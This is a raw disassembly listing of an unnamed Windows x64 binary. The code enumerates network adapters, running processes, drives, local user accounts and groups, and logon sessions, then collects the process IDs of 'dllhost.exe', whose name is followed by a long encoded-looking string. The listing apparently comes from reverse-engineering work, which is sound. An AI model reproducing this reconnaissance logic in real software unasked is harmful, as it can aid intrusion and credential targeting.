mov rcx, qword [rsp + 0x248]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x258]
lea rsi, [rsp + 0x440]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov ebx, 0x88
mov rcx, rsi
call fcn.140011266
test rax, rax
je 0x140002671
mov rdi, rax
cmp byte [rax - 2], 0
jne 0x14000262e
mov rax, qword [rsp + 0x240]
sub rax, rdi
cqo
idiv rbx
mov rcx, r14
mov rdx, rax
call fcn.140012036
mov rcx, qword [rdi - 0x88]
mov rdx, qword [rdi - 0x80]
call fcn.1400050f0
jmp 0x14000262e
lea rdi, [rsp + 0x370]
mov dword [rdi], 0x3c00
and dword [rsp + 0x130], 0
mov ebx, 3
sub ebx, 1
jb 0x140002755
mov ecx, dword [rsp + 0x370]
call fcn.1400172f0
test rax, rax
je 0x1400026fa
mov rsi, rax
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov edx, 0xe
xor r8d, r8d
mov r9, rax
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov dword [rsp + 0x130], eax
cmp eax, 0x6f
jne 0x1400026d6
mov rcx, rsi
call fcn.1400172f8
jmp 0x14000268c
test eax, eax
jne 0x14000274d
mov qword [rsp + 0x5d8], rsi
mov qword [rsp + 0x5e0], rsi
and qword [rsp + 0x5d0], 0
xor ecx, ecx
jmp 0x1400027b7
mov ecx, 0x32
call fcn.140005161
mov rcx, rax
movups xmm0, xmmword [str.failed_to_allocate_memory_for_IP_ADAPTER_ADDRESSES]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x140025498]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x1400254a8]
movdqu xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], 0x5345
mov qword [rsp + 0x5d0], rax
mov qword [rsp + 0x5d8], rdx
mov qword [rsp + 0x5e0], 0x32
jmp 0x1400027b7
mov rcx, rsi
call fcn.1400172f8
lea rax, [rsp + 0x130]
mov qword [rsp + 0x3b0], rax
lea rax, str.GetAdaptersAddresses___failed_with_code
lea rdx, [rsp + 0x440]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x140005b1d]
mov qword [rsp + 0x3b8], rcx
lea rcx, [rsp + 0x3b0]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rsi, [rsp + 0x5d0]
mov rcx, rsi
call fcn.14000f539
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400027ce
mov rdx, qword [rsp + 0x5d8]
call fcn.1400050f0
jmp 0x14000292f
movdqu xmm0, xmmword [rsp + 0x5d8]
lea rax, [rsp + 0x3b0]
movdqu xmmword [rax], xmm0
lea rbx, [rsp + 0x130]
pcmpeqd xmm6, xmm6
lea rcx, [rsp + 0x440]
lea rdx, [rsp + 0x3b0]
call fcn.140012aa5
mov r14, qword [rsp + 0x440]
test r14, r14
je 0x140002922
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x258], 0
je 0x140002910
mov r12, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, r14
mov r9, r12
call fcn.140011301
mov rbp, qword [rsp + 0x240]
mov rsi, qword [rsp + 0x248]
mov rdi, rsi
and rdi, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor r13d, r13d
movdqu xmm8, xmmword [rbp + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x130], ax
mov rcx, rbx
call fcn.14000ffde
test rax, rax
je 0x1400028da
add rdx, rdi
and rdx, rsi
neg rdx
imul r15, rdx, 0x88
mov r8, qword [rbp + r15 - 0x88]
mov r9, qword [rbp + r15 - 0x78]
mov rcx, r14
mov rdx, r12
call fcn.140005ff0
test al, al
je 0x14000289f
jmp 0x1400028f8
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140002910
add rdi, r13
add rdi, 0x10
add r13, 0x10
and rdi, rsi
jmp 0x140002883
add rbp, r15
lea rcx, [rsp + 0x458]
movzx eax, word [rcx + 4]
mov word [rbp - 4], ax
mov eax, dword [rcx]
mov dword [rbp - 8], eax
mov rcx, r14
mov rdx, qword [rsp + 0x78]
call fcn.1400050f0
jmp 0x1400027ef
mov rcx, qword [rsp + 0x3b0]
call fcn.1400172f8
mov byte [rsp + 0x86], 1
mov word [rsp + 0x84], 0x101
call fcn.14000c70e
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0x19db1ded53e8000
cmp rax, rcx
jge 0x140002962
xor eax, eax
jmp 0x140002979
movabs rcx, 0xfe624e212ac18000
add rax, rcx
mov ecx, 0x989680
xor edx, edx
div rcx
mov qword [rsp + 0xb8], rax
mov esi, 0x80000
lea rbp, [rsp + 0xac]
mov rdi, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rcx, rsi
xor edx, edx
call fcn.140005104
mov r12, rax
mov r15, rdx
and dword [rsp + 0xac], 0
mov ecx, 5
mov rdx, rax
mov r8d, esi
mov r9, rbp
call rdi
cmp eax, 0xc0000004
jne 0x1400029e9
mov eax, dword [rsp + 0xac]
test eax, eax
je 0x1400029d9
add eax, 0x2800
mov rsi, rax
jmp 0x1400029dc
add rsi, rsi
mov rcx, r12
mov rdx, r15
call fcn.1400050f0
jmp 0x140002995
mov ecx, 8
mov edx, 0xfa0
call fcn.140004ef1
test rax, rax
je 0x14000478f
lea rsi, [rsp + 0x130]
mov qword [rsi], rax
mov qword [rsi + 8], 0x1f4
and qword [rsi + 0x10], 0
xor edx, edx
xor edi, edi
cmp rdx, qword [rsp + 0x138]
jne 0x140002a3f
mov rcx, rsi
call fcn.1400114b1
mov rax, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x140]
lea rcx, [r12 + rdi]
mov qword [rax + rdx*8], rcx
mov rdx, qword [rsp + 0x140]
inc rdx
mov qword [rsp + 0x140], rdx
mov ecx, dword [rcx]
add rdi, rcx
test rcx, rcx
jne 0x140002a1d
lea rsi, [rsp + 0x728]
lea rax, [rsp + 0x210]
mov qword [rsi], rax
lea rcx, [rsp + 0x2e0]
xor edx, edx
call fcn.1400121ee
mov rax, qword [rsp + 0x360]
lea rcx, [rsp + 0x598]
mov qword [rcx], rax
mov rbx, qword [rsp + 0x140]
mov qword [rsp + 0x450], rbx
movdqu xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x440], xmm0
mov qword [rsp + 0xf0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x458], rsi
lea rax, [rsp + 0x84]
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rcx
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x470], rax
mov rdi, qword [rsp + 0x448]
cmp rdi, rbx
jb 0x140004769
lea rsi, [rsp + 0x458]
mov r14, qword [rsi - 0x18]
mov rcx, rbx
call fcn.1400112c7
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 1
lea rsi, [rsp + 0x3b0]
mov rcx, rsi
mov rdx, rbx
xor r8d, r8d
mov r9, rax
call fcn.14000d355
test rdi, rdi
je 0x140002b73
shl rdi, 3
mov edx, 8
mov rcx, r14
mov r8, rdi
call fcn.1400071cb
mov rax, qword [rsp + 0x3c0]
xor edx, edx
sub rax, 1
jb 0x140002b95
mov rsi, qword [rsi]
test rsi, rsi
je 0x140002b95
add rdx, qword [rsi + 0x10]
add rsi, 0x18
jmp 0x140002b7d
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0x90], r15
lea r15, [rsp + 0xf0]
mov rcx, r15
call fcn.140011455
mov rax, qword [rsp + 0x3c0]
lea rsi, [rsp + 0x5d0]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x3b0]
movdqa xmmword [rsi], xmm0
lea rdi, [rsp + 0x440]
mov rcx, rsi
call fcn.14001054c
test rax, rax
je 0x140002c84
mov rbx, qword [rax]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x370], xmm0
mov rcx, rax
call fcn.14000792f
test rbx, rbx
je 0x140002c84
mov qword [rsp + 0x440], rbx
movdqa xmm0, xmmword [rsp + 0x370]
lea rax, [rsp + 0x448]
movdqu xmmword [rax], xmm0
mov r14, qword [rsp + 0x450]
mov rcx, r15
mov rdx, r14
call fcn.140011455
mov r12, qword [rsp + 0x100]
imul rcx, r12, 0x150
add rcx, qword [rsp + 0xf0]
imul r8, r14, 0x150
mov rdx, rbx
call fcn.140014060
add r12, r14
mov qword [rsp + 0x100], r12
and qword [rsp + 0x450], 0
mov rcx, rdi
call fcn.14000cb44
jmp 0x140002bde
lea rcx, [rsp + 0x5d0]
call fcn.14000d323
mov rbx, qword [rsp + 0xf0]
imul rcx, qword [rsp + 0x100], 0x150
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xa0], rax
lea rax, [rbx + rcx]
mov qword [rsp + 0x98], rax
lea rdi, [rsp + 0x3b0]
lea r13, [rsp + 0x440]
mov qword [rsp + 0x88], rbx
lea r12, [rsp + 0x598]
test rcx, rcx
je 0x140002f39
mov r14, qword [rbx]
cmp r14, 2
je 0x140002f32
mov qword [rsp + 0x78], rcx
lea r12, [rbx + 0xc8]
mov rbp, qword [rbx + 0xc0]
lea rdx, [rbx + 8]
mov r8d, 0xb8
lea rcx, [rsp + 0x5d0]
call fcn.140014060
mov r8d, 0x88
mov rcx, rdi
mov rdx, r12
call fcn.140014060
mov qword [rsp + 0x370], rbp
mov rcx, qword [rsp + 0x230]
mov rdx, qword [rsp + 0x238]
mov r8, rbp
call fcn.14000ff63
mov r12, rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0x220], 0
je 0x140002f18
mov qword [rsp + 0x440], r15
lea rax, [rsp + 0x210]
mov qword [rsp + 0x448], rax
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
lea rax, [0x140011fec]
mov qword [rsp + 0x20], rax
mov r8, r12
mov r9, r13
call fcn.140011e3c
test rax, rax
je 0x140002e61
mov rax, qword [rsp + 0x370]
mov rcx, qword [rsp + 0x210]
movzx r8d, byte [rcx + rdx]
and r8d, 1
sub qword [rsp + 0x220], r8
shr r12, 0x39
lea r8, [rdx - 0x10]
and r8, qword [rsp + 0x218]
mov byte [rcx + rdx], r12b
mov byte [r8 + rcx + 0x10], r12b
inc qword [rsp + 0x228]
mov r15, qword [rsp + 0x210]
neg rdx
imul rsi, rdx, 0x158
lea r12, [r15 + rsi]
add r12, 0xfffffffffffffeb8
mov qword [r12 - 0x10], rax
mov qword [r12 - 8], r14
mov r8d, 0xb8
mov rcx, r12
lea rdx, [rsp + 0x5d0]
call fcn.140014060
mov qword [r12 + 0xb8], rbp
lea rcx, [r15 + rsi]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rdi
call fcn.140014060
jmp 0x140002ee8
mov rsi, qword [rsp + 0x210]
neg rdx
imul r15, rdx, 0x158
lea r12, [rsi + r15]
add r12, 0xfffffffffffffeb0
mov r8d, 0x150
mov rcx, r13
mov rdx, r12
call fcn.140014060
mov qword [r12], r14
lea r12, [rsi + r15]
add r12, 0xfffffffffffffeb8
mov r8d, 0xb8
mov rcx, r12
lea rdx, [rsp + 0x5d0]
call fcn.140014060
mov qword [r12 + 0xb8], rbp
lea rcx, [rsi + r15]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rdi
call fcn.140014060
cmp qword [rsp + 0x440], 2
je 0x140002ee8
mov rcx, r13
call fcn.14000cbaf
add rbx, 0x150
mov rcx, qword [rsp + 0x78]
add rcx, 0xfffffffffffffeb0
lea rbp, [rsp + 0xac]
lea r12, [rsp + 0x598]
lea r15, [rsp + 0xf0]
jmp 0x140002ce1
lea rcx, [rsp + 0x210]
lea rdx, [rsp + 0x230]
call fcn.140023025
jmp 0x140002d74
add rbx, 0x150
mov rax, qword [rsp + 0x98]
sub rax, rbx
mov ecx, 0x150
xor edx, edx
div rcx
mov rcx, rbx
mov rdx, rax
call fcn.14000cb85
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0xa0]
call fcn.14000cb6e
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x218]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x228]
lea rsi, [rsp + 0x440]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov r14d, 0x158
mov rcx, rsi
call fcn.140011a72
test rax, rax
je 0x140003006
mov rbx, rax
cmp byte [rax - 4], 0
mov byte [rax - 4], 0
jne 0x140002fbb
mov rax, qword [rsp + 0x210]
sub rax, rbx
cqo
idiv r14
lea rcx, [rsp + 0x210]
mov rdx, rax
call fcn.140012036
add rbx, 0xfffffffffffffeb0
mov rcx, rbx
call fcn.14000cbaf
jmp 0x140002fbb
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x90]
call fcn.1400050f0
call sub.KERNEL32.dll_GetLogicalDrives
mov dword [rsp + 0x370], eax
test eax, eax
je 0x1400031e2
lea r12, [rsp + 0xf8]
mov qword [r12 - 8], 8
pxor xmm0, xmm0
movdqu xmmword [r12], xmm0
lea rax, [rsp + 0x370]
mov qword [rsp + 0x440], rax
movabs rax, 0x2000000000
mov qword [rsp + 0x448], rax
mov ecx, 0x20
call fcn.1400112c7
and dword [rsp + 0x28], 0
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 0x20
mov qword [rsp + 0x20], 1
xor ebx, ebx
mov edx, 0x20
mov rcx, rdi
xor r8d, r8d
mov r9, rax
call fcn.14001057a
mov rax, qword [rsp + 0x3c0]
lea r13, [rsp + 0x84]
sub rax, 1
jb 0x1400030ce
mov rdi, qword [rdi]
test rdi, rdi
je 0x1400030ce
add rbx, qword [rdi + 0x10]
add rdi, 0x18
jmp 0x1400030b6
lea rsi, [rsp + 0xf0]
mov rcx, rsi
mov rdx, rbx
call fcn.140011483
mov rax, qword [rsp + 0x3c0]
lea rdi, [rsp + 0x5d0]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsp + 0x3b0]
movaps xmmword [rdi], xmm0
lea rbx, [rsp + 0x440]
mov rcx, rdi
call fcn.14001054c
test rax, rax
je 0x1400031b4
mov r14, qword [rax]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rsp + 0x130], xmm0
mov rcx, rax
call fcn.14000792f
test r14, r14
je 0x1400031b4
mov qword [rsp + 0x440], r14
movdqa xmm0, xmmword [rsp + 0x130]
lea rax, [rsp + 0x448]
movdqu xmmword [rax], xmm0
mov r15, qword [rsp + 0x450]
mov rcx, rsi
mov rdx, r15
call fcn.140011483
mov r13, qword [rsp + 0x100]
imul rcx, r13, 0x90
add rcx, qword [rsp + 0xf0]
imul r8, r15, 0x90
mov rdx, r14
call fcn.140014060
add r13, r15
mov qword [rsp + 0x100], r13
lea r13, [rsp + 0x84]
and qword [rsp + 0x450], 0
mov rcx, rbx
call fcn.14000caaa
jmp 0x140003108
lea rcx, [rsp + 0x5d0]
call fcn.14001051a
mov rsi, qword [rsp + 0xf0]
movdqu xmm0, xmmword [r12]
movdqa xmmword [rsp + 0x440], xmm0
lea r12, [rsp + 0x598]
jmp 0x1400031fc
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x440], xmm0
mov esi, 8
lea r13, [rsp + 0x84]
lea rcx, [rsp + 0x2b0]
call fcn.14000caaa
mov qword [rsp + 0x2b0], rsi
lea rax, [rsp + 0x470]
movdqa xmm0, xmmword [rax - 0x30]
movdqu xmmword [rsp + 0x2b8], xmm0
lea r14, [rsp + 0x370]
mov qword [r14], 8
pxor xmm6, xmm6
lea rax, [rsp + 0x1c8]
and dword [rax], 0
movdqu xmmword [r14 + 8], xmm6
lea r15, [rsp + 0x130]
and qword [rsp + 0xb8], 0
and dword [rsp + 0xec], 0
and dword [rsp + 0x1cc], 0
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xec]
mov qword [rsp + 0x28], rax
or dword [rsp + 0x20], 0xffffffff
xor ecx, ecx
xor edx, edx
mov r8d, 2
lea r9, [rsp + 0xb8]
call sub.NETAPI32.dll_NetUserEnum
test eax, eax
je 0x1400032be
cmp eax, 0xea
jne 0x14000360d
mov dword [rsp + 0x78], eax
mov rdi, qword [rsp + 0xb8]
mov eax, dword [rsp + 0xec]
lea rbx, [rdi + rax*8]
cmp rdi, rbx
je 0x1400035f1
mov rsi, rdi
add rdi, 8
cmp qword [rsi], 0
je 0x1400032d5
and qword [rsp + 0x728], 0
mov rdx, qword [rsi]
xor ecx, ecx
mov r8d, 0x17
lea r9, [rsp + 0x728]
call sub.NETAPI32.dll_NetUserGetInfo
test eax, eax
jne 0x1400035d6
mov rax, qword [rsp + 0x728]
mov rdx, qword [rax + 0x20]
mov rcx, r15
call fcn.14000f843
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x1400035d6
lea rcx, [rsp + 0x440]
call fcn.1400120df
cmp qword [rsp + 0x440], 0
je 0x140003375
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x100], rax
movdqu xmm0, xmmword [rsp + 0x440]
movdqa xmmword [rsp + 0xf0], xmm0
jmp 0x140003385
mov rdx, qword [rsi]
lea rcx, [rsp + 0xf0]
call fcn.14000c8a6
mov rdx, qword [rsi]
and qword [rsp + 0x598], 0
and dword [rsp + 0x84], 0
and dword [rsp + 0xac], 0
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x20], r12
or dword [rsp + 0x28], 0xffffffff
lea rcx, [0x140025448]
xor r8d, r8d
mov r9d, 1
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
je 0x1400033eb
lea rax, [rsp + 0x3b8]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x3b0], 8
jmp 0x140003540
mov r13d, dword [rsp + 0x84]
test r13, r13
je 0x140003413
imul rsi, r13, 0x18
mov ecx, 8
mov rdx, rsi
call fcn.140004ef1
test rax, rax
jne 0x140003418
jmp 0x14000476d
mov eax, 8
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x3b8], r13
and qword [rsp + 0x3c0], 0
mov r15, qword [rsp + 0x598]
test r15, r15
je 0x140003476
mov esi, dword [rsp + 0x84]
cmp r13d, esi
jae 0x1400034b6
lea rcx, [rsp + 0x3b0]
xor edx, edx
mov r8, rsi
call fcn.14000fe17
mov rcx, rax
call fcn.140004df6
mov rax, qword [rsp + 0x3b0]
mov r13, qword [rsp + 0x3c0]
jmp 0x1400034c6
mov rax, qword [rsp + 0x3c0]
lea rcx, [rsp + 0x470]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b8]
mov qword [rcx + 8], rax
lea r15, [rsp + 0x130]
lea r13, [rsp + 0x84]
jmp 0x14000357d
mov r13d, 0
mov ecx, 0
test rsi, rsi
je 0x140003520
imul r14, r13, 0x18
add r14, rax
xor r12d, r12d
lea rbp, [rsp + 0x5d0]
mov rdx, qword [r15 + r12*8]
mov rcx, rbp
call fcn.14000c8a6
mov rax, qword [rsp + 0x5e0]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x5d0]
movdqu xmmword [r14], xmm0
inc r12
add r14, 0x18
cmp rsi, r12
jne 0x1400034d8
add r13, r12
mov rcx, r13
lea r14, [rsp + 0x370]
lea rbp, [rsp + 0xac]
mov qword [rsp + 0x3c0], rcx
lea r15, [rsp + 0x130]
lea r12, [rsp + 0x598]
lea r13, [rsp + 0x84]
mov rcx, qword [rsp + 0x598]
mov rax, qword [rsp + 0x3c0]
lea rdx, [rsp + 0x470]
mov qword [rdx + 0x10], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rdx], rax
mov rax, qword [rsp + 0x3b8]
mov qword [rdx + 8], rax
test rcx, rcx
je 0x14000357d
call sub.NETAPI32.dll_NetApiBufferFree
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x440], xmm0
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x450], rax
and dword [rsp + 0x488], 0
mov rax, qword [rsp + 0x100]
lea rcx, [rsp + 0x458]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rsp + 0xf0]
movdqu xmmword [rcx], xmm0
mov rcx, r14
lea rdx, [rsp + 0x440]
call fcn.1400121ad
mov rcx, qword [rsp + 0x728]
test rcx, rcx
je 0x1400032d5
call sub.NETAPI32.dll_NetApiBufferFree
jmp 0x1400032d5
mov rcx, qword [rsp + 0xb8]
cmp dword [rsp + 0x78], 0xea
jne 0x140003615
call fcn.1400120cb
jmp 0x140003253
mov rcx, qword [rsp + 0xb8]
call fcn.1400120cb
lea rcx, [rsp + 0x728]
and dword [rcx], 0
lea rsi, [rsp + 0x598]
and qword [rsi], 0
mov rdx, rsi
call sub.Secur32.dll_LsaEnumerateLogonSessions
mov rcx, qword [rsi]
test eax, eax
jne 0x140003841
mov eax, dword [rsp + 0x728]
lea rbx, [rcx + rax*8]
lea rdi, [rsp + 0x130]
lea r14, [rsp + 0x440]
pxor xmm6, xmm6
cmp rcx, rbx
je 0x140003839
lea rbp, [rcx + 8]
and qword [rsp + 0x130], 0
mov rdx, rdi
call sub.Secur32.dll_LsaGetLogonSessionData
mov rcx, qword [rsp + 0x130]
test eax, eax
je 0x140003697
call fcn.1400120d5
mov rcx, rbp
jmp 0x140003663
test rcx, rcx
je 0x14000373a
cmp dword [rcx + 0x40], 3
je 0x14000368d
movzx r13d, word [rcx + 0x10]
mov r15, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x48]
mov rcx, r14
call fcn.14000f843
mov rsi, qword [rsp + 0x440]
test rsi, rsi
je 0x14000382c
mov qword [rsp + 0x90], r15
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x78], rax
mov r12, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x370]
imul r15, qword [rsp + 0x380], 0x50
test r15, r15
je 0x140003741
lea r14, [rdx + 0x50]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 0x10]
mov r8, rsi
mov r9, r12
call fcn.140005ff0
add r15, 0xffffffffffffffb0
mov rdx, r14
test al, al
je 0x1400036fa
mov rcx, rsi
mov rdx, qword [rsp + 0x78]
call fcn.1400050f0
lea r14, [rsp + 0x440]
jmp 0x14000382c
xor ecx, ecx
jmp 0x14000368d
lea rcx, [rsp + 0x5d0]
mov rdx, rsi
call fcn.1400120df
mov rax, qword [rsp + 0x5d0]
test rax, rax
je 0x14000377d
lea rcx, [rsp + 0x5d8]
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x3b0], xmm0
lea r14, [rsp + 0x440]
jmp 0x1400037cd
shr r13d, 1
lea r14, [rsp + 0x440]
mov rcx, r14
mov rdx, qword [rsp + 0x90]
mov r8, r13
call fcn.140005312
mov rax, qword [rsp + 0x440]
test rax, rax
je 0x1400037bf
lea rcx, [rsp + 0x448]
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x3b0], xmm0
jmp 0x1400037cd
movdqa xmmword [rsp + 0x3b0], xmm6
mov eax, 1
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x440], rsi
mov qword [rsp + 0x448], rcx
mov qword [rsp + 0x450], r12
lea rcx, [rsp + 0x460]
movdqu xmmword [rcx + 0x18], xmm6
and dword [rcx + 0x28], 0
mov qword [rsp + 0x458], rax
movdqa xmm0, xmmword [rsp + 0x3b0]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x470], 8
lea rcx, [rsp + 0x370]
mov rdx, r14
call fcn.1400121ad
mov rcx, qword [rsp + 0x130]
jmp 0x14000368d
mov rcx, qword [rsp + 0x598]
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x450], rax
movups xmm0, xmmword [rsp + 0x370]
movaps xmmword [rsp + 0x440], xmm0
test rcx, rcx
je 0x14000386b
call fcn.140013588
mov rcx, qword [rsp + 0x2c8]
mov rdx, qword [rsp + 0x2d8]
call fcn.14001189c
mov rcx, qword [rsp + 0x2c8]
mov rdx, qword [rsp + 0x2d0]
call fcn.1400119c4
mov rax, qword [rsp + 0x450]
lea rcx, [rsp + 0x2c8]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0x440]
movups xmmword [rcx], xmm0
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x6e0], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x6b0], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x6a8], rax
mov r12, qword [rsp + 0x210]
mov rbp, qword [rsp + 0x218]
mov rdi, qword [rsp + 0x228]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x6c0], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x6b8], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x1b8], rax
movdqa xmm0, xmmword [r12]
pmovmskb esi, xmm0
not esi
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x6f0], rax
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x6f8], rax
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x6e8], rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x6a0], rax
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x720], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x710], rax
lea r15, [rbp + r12 + 1]
lea rbx, [r12 + 0x10]
mov ecx, 0x38
mov edx, 8
call fcn.140001050
mov r14, rax
mov qword [rax], r12
mov qword [rax + 8], rbx
mov qword [rsp + 0x698], r15
mov qword [rax + 0x10], r15
mov word [rax + 0x18], si
mov r15, rdi
mov qword [rax + 0x20], rdi
lea r13, str.dllhost.exe5X5GDTV76JCCOWCYGI7XJMH5SKPS25MKFQ3UGZR2F3GYX2LAJYIOBHNDS6XDBA5R2ZOTASAD736R5ZHANDR2MZPTSA3KDCOGBFBM7Q3HT6AXTFV2L6H3EQRGTKMFWFIP44C52QXEZIMM5CQWC5DXCDBYHZMTDJ2G53FWQJSWAFOSD7V2IBAJ4ZGTRLN4BTFWNGJNCTMGWIXLCX3CULAVRLQSIYHTMZITVF3T7ZWAUOCFQ45LH4OVPC5A5HBKMXZTPLPBFCXEL3QSV54GQA3ORN5VHXYXQZHPE5LCDPVJQAXJWLOH4HILWKNRO7GRT55JMQTXRMLC5CLI63XQ3WVX2UXZZYTBO4M6RFI5CU4C576VNPDWLKMRKUIBOOKFFA2RKZLPKGP7PRAK2UWLBIR6V5K32CQLAFU4CQUNZOX4SW4EMGWRR6X44GOJFQ
mov qword [rax + 0x28], r13
mov qword [rax + 0x30], 0xb
mov esi, 0xb
mov rcx, r14
call fcn.140011a72
test rax, rax
je 0x140003b6d
mov rdi, rax
add rax, 0xfffffffffffffeb0
je 0x140003b6d
mov rcx, qword [rdi - 0xd8]
mov rdx, qword [rdi - 0xc8]
mov r8, r13
mov r9, rsi
call fcn.140005ff5
test al, al
je 0x140003ae7
mov esi, dword [rdi - 0x90]
mov rdx, qword [rsp + 0x198]
cmp rdx, qword [rsp + 0x190]
jne 0x140003b49
lea rcx, [rsp + 0x188]
call fcn.140006f17
mov rdx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x188]
mov qword [rax + rdx*8], rsi
inc rdx
mov qword [rsp + 0x198], rdx
mov r13, qword [r14 + 0x28]
mov rsi, qword [r14 + 0x30]
jmp 0x140003ae7
mov edx, 8
mov rcx, r14
call fcn.1400049c0
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x6d8], rax
test rbp, rbp
mov r13, qword [rsp + 0x168]
